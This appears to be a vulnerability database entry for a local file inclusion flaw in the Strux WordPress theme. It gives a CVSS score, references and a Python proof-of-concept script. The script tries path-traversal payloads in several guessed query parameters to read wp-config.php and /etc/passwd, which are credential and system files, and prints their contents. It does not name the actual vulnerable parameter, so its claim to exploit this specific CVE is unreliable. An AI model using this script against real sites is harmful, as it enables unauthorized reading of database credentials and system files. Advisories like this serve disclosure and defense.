CVE-2025-49371

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Strux strux allows PHP Local File Inclusion.This issue affects Strux: from n/a through <= 1.9.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Strux <= 1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-49371 PoC - Strux Theme Local File Inclusion
# Target: WordPress site with vulnerable Strux theme <= 1.9

def exploit_lfi(target_url, filename):
    """
    Exploit Local File Inclusion vulnerability in Strux theme
    :param target_url: Target WordPress site URL
    :param filename: File to read (e.g., ../../../../wp-config.php)
    """
    # Construct malicious URL with LFI payload
    # Common vulnerable parameter patterns in WordPress themes
    vulnerable_params = [
        'template',
        'theme',
        'page',
        'file',
        'action',
        'load',
        'inc'
    ]
    
    for param in vulnerable_params:
        payload = f'../../../../../../{filename}'
        params = {param: payload}
        
        try:
            response = requests.get(target_url, params=params, timeout=10)
            if response.status_code == 200:
                print(f'[+] Found vulnerable parameter: {param}')
                print(f'[+] File content:')
                print(response.text)
                return True
        except requests.exceptions.RequestException as e:
            print(f'[-] Error: {e}')
    
    return False

# Example usage to read wp-config.php
# target = 'http://target-site.com/wp-content/themes/strux/'
# exploit_lfi(target, 'wp-config.php')

# Read /etc/passwd
# exploit_lfi(target, '../../../../etc/passwd')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49371
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49371
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49371/
[4] VulDB https://vuldb.com/cve/CVE-2025-49371
[5] https://patchstack.com/database/Wordpress/Theme/strux/vulnerability/wordpress-strux-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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